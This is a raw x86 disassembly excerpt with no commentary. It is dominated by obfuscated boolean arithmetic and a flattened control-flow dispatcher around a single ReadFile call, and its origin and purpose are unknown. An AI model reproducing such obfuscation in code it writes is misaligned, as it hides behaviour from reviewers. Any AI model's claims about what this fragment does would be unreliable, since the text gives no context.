mov eax, ebx
and eax, 0x3cea8076
mov edi, dword [ebp - 0x2c]
and edi, 0xc3157f89
or edi, eax
xor ecx, 0xc3ba69dc
or ebx, ecx
and ecx, 0x28080076
and esi, 0xc3157f89
or esi, ecx
xor esi, edi
not ebx
or ebx, esi
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x946c4902
mov edx, ebx
and edx, 0x69029020
or edx, ecx
mov ecx, edx
xor ecx, 0x8029000
xor edx, 0x4682418
and edx, 0x65682438
and ecx, 0x9806d902
or ecx, edx
or eax, 0x65680020
and eax, 0x65682438
and ebx, 0x29102c5
or ebx, eax
xor ebx, ecx
mov eax, dword [ebp - 0x28]
xor eax, 0xfd6ed922
mov esi, ebx
xor esi, ebx
not esi
and esi, eax
xor esi, ebx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
and ecx, eax
mov edi, dword [ebp - 0x1c]
or eax, edi
not eax
mov edx, dword [ebp - 0x18]
and edx, edi
or edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x5722e536
and eax, edx
and edx, 0xa8dd1ac9
or edx, ecx
xor edx, 0xa8dd1ac9
or edx, eax
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0xf643b1d
mov ecx, esi
and ecx, 0xf09bc4e2
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ebx, edx
mov dword [ebp - 0x18], edx
not edx
xor ebx, 0xf643b1d
mov ecx, ebx
and ecx, edx
mov eax, ecx
not eax
mov edi, eax
and edi, 0xc29b03de
and ecx, 0x3d64fc21
or ecx, edi
and ebx, dword [ebp - 0x18]
mov edi, ebx
not edi
or eax, edi
and edi, 0xc29b03de
and ebx, 0x3d64fc21
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
xor eax, dword [ebp - 0x1c]
mov ecx, esi
and ecx, 0x38d94659
mov edi, dword [ebp - 0x14]
and edi, 0xc726b9a6
or edi, ecx
mov ecx, dword [ebp - 0x18]
or esi, ecx
and ecx, 0x38d94659
and edx, 0xc726b9a6
or edx, ecx
xor edx, edi
not esi
or esi, edx
mov edx, esi
not edx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xa7e63762
and eax, 0x5819c89d
or eax, edi
or ecx, esi
and esi, 0xa7e63762
and edx, 0x5819c89d
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x3903c329
and eax, ecx
mov esi, edx
and esi, 0xaa160b88
and ecx, 0x55e9f477
or ecx, esi
xor ecx, 0x67baf2c3
or ecx, edx
or edx, eax
not eax
and eax, 0xc6fc3cd6
and edx, 0x3903c329
or edx, eax
mov eax, edx
not eax
and edx, 0xc119f7f4
mov esi, eax
and esi, 0x3ee6080b
or esi, edx
xor esi, 0xcb50ebf
and eax, 0xcdacf94b
or eax, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0xe41a20fd
xor eax, 0x1e2880b6
and eax, edx
and edx, 0x1be5df02
or edx, esi
mov esi, edx
xor esi, 0x1be5df02
xor edx, 0x5cd5fb4
and edx, esi
or eax, edx
mov edx, ecx
xor edx, 0x1c080006
or esi, ecx
xor ecx, 0x21004b00
and ecx, 0x2320cbb0
and edx, 0xdcdf344f
or edx, ecx
xor edx, eax
xor edx, 0x2320cbb0
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x4c827385
mov ecx, esi
mov dword [ebp - 0x14], esi
and ecx, 0xb37d8c7a
or ecx, eax
mov eax, ecx
xor eax, 0x10658028
xor ecx, 0x1001
and ecx, 0xa3181c53
and eax, 0x5ce7e3ac
or eax, ecx
mov edx, eax
xor edx, 0x5ce7e3ac
xor eax, 0x83101c01
and eax, 0xcb10dc21
mov ecx, edx
and ecx, 0x34ef23de
or ecx, eax
xor ecx, 0xa3f75a89
and edx, 0x68e786a8
or edx, ecx
mov dword [ebp - 0x18], edi
mov eax, edi
and eax, 0x4a1552d2
mov ecx, esi
and ecx, 0xb5eaad2d
or ecx, eax
xor ecx, 0xdd0d2b85
mov eax, ecx
xor eax, edi
and eax, ecx
mov ecx, eax
mov dword [ebp - 0x20], eax
mov esi, edx
not esi
mov eax, edx
and eax, 0xeb86fe5
xor edx, 0x33c6e77d
and edx, esi
and esi, 0xf147901a
or esi, eax
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x8b4f1f30
and ecx, 0x74b0e0cf
or ecx, ebx
mov ebx, esi
xor ebx, 0xc380880
or ebx, 0x33c6e77d
mov dword [ebp - 0x1c], esi
xor esi, 0xc0010002
mov edi, ebx
and edi, 0x19caff28
and esi, 0xc4310082
or esi, edi
mov edi, edx
not edi
or ebx, edi
and edi, 0x19caff28
and edx, 0xe63500d7
or edx, edi
xor edx, esi
not ebx
or ebx, edx
mov edx, ecx
xor edx, 0x74b0e0cf
xor ecx, 0x477607b2
and ecx, edx
mov esi, ecx
not esi
mov edi, esi
and edi, 0xdcc8d0a7
and ecx, 0x23372f58
or ecx, edi
or eax, 0xcc391882
or esi, eax
and eax, 0xdcc8d0a7
mov edi, dword [ebp - 0x20]
and edi, 0x23062758
or edi, eax
xor edi, ecx
not esi
or esi, edi
xor esi, ebx
mov eax, dword [ebp - 0x1c]
xor eax, 0xf147901a
or edx, eax
not edx
or edx, esi
mov esi, edx
xor esi, 0x97187957
mov eax, dword [ebp - 0x18]
and eax, 0xf500e0e2
mov edi, dword [ebp - 0x14]
and edi, 0xaff1f1d
or edi, eax
xor edx, 0x68e786a8
mov eax, edx
and eax, 0xa028d5a6
mov ecx, esi
and ecx, 0x150a59
or ecx, eax
xor ecx, 0x150a59
mov eax, esi
and eax, 0x5fc22000
or eax, ecx
mov ecx, edi
xor ecx, 0xaff1f1d
xor edi, 0xf500e0e2
mov dword [ebp - 0x14], edi
and edi, 0x16705e08
mov ebx, ecx
and ebx, 0xa00d81f7
or ebx, edi
mov edi, ebx
xor edi, 0xa0010125
xor ebx, 0x205608
or ebx, 0x4dc22000
and ebx, 0x4deef6da
and edi, 0xa0110925
or edi, ebx
mov ebx, dword [ebp - 0x14]
or ebx, 0x2cd6da
and ebx, 0x4deef6da
and ecx, 0x12000000
or ecx, ebx
xor ecx, edi
xor ecx, eax
mov eax, esi
and eax, 0xee9aa0fd
and edx, 0x11655f02
or edx, eax
xor edx, ecx
xor edx, 0x11655f02
or ecx, esi
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne cl
cmp dword [0x10045904], 0xa
setge ch
setl ah
mov dh, ah
xor dh, cl
mov al, ch
and al, dh
xor dh, 1
mov bl, dh
and bl, ah
or bl, al
or dh, ch
xor dh, 1
or dh, cl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov al, bl
and al, dh
xor bl, al
xor al, 1
or al, dh
xor al, 1
or al, bl
mov dh, ch
xor dh, cl
mov ebx, edx
xor dl, ch
xor dh, 1
or dh, ch
and ch, cl
and bl, ah
or bl, ch
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov dl, cl
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov bh, dh
xor bh, 1
mov bl, bh
and bl, dh
xor bl, 1
mov cl, bh
xor cl, bl
mov dl, bh
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
or bl, dh
mov ch, ah
xor ch, 1
xor bl, 1
or bl, bh
mov dh, ch
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, ch
xor dl, dh
xor bl, 1
xor ch, bl
or bl, ah
and ch, ah
xor ch, 1
mov ah, ch
xor ah, bl
or ch, bl
xor ch, 1
or ch, ah
mov ah, dl
xor ah, 1
and ah, dh
or ah, dl
xor ah, 1
mov dl, ch
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
xor dl, 1
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov dh, ch
and dh, cl
mov dl, al
and dl, ah
or dl, dh
mov dh, dl
xor dh, 1
mov ebx, ecx
and bl, dh
and dl, al
or dl, bl
xor dl, 1
or dl, dh
and al, cl
xor al, 1
or al, cl
xor cl, al
xor al, 1
or al, cl
or ch, al
xor al, 1
or al, ah
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ch, dl
xor ch, cl
mov al, ch
and al, cl
and ch, dl
xor al, 1
xor ch, 1
mov ah, al
xor ah, ch
or ch, al
xor dl, 1
xor ch, 1
or ch, ah
mov eax, ecx
xor al, 1
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
or cl, al
not cl
or cl, dl
xor cl, ch
and cl, 1
mov eax, 0x59839039
mov edx, 0x795172ee
cmovne eax, edx
test cl, ch
cmove eax, edx
test cl, cl
mov edx, 0x59839039
cmove eax, edx
test cl, ch
mov ecx, dword [ebp - 0x44]
cmovne eax, edx
cmp dword [ecx], 0xffffffff
sete byte [ebp - 0x50]
jmp 0x1000f9b0
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0
push dword [ebp - 0x58]
push dword [eax]
push dword [ecx]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0xd6f3772e
jmp 0x1000f9b0
cmp eax, 0x7643e897
jne 0x1000f9b0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10031d10
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret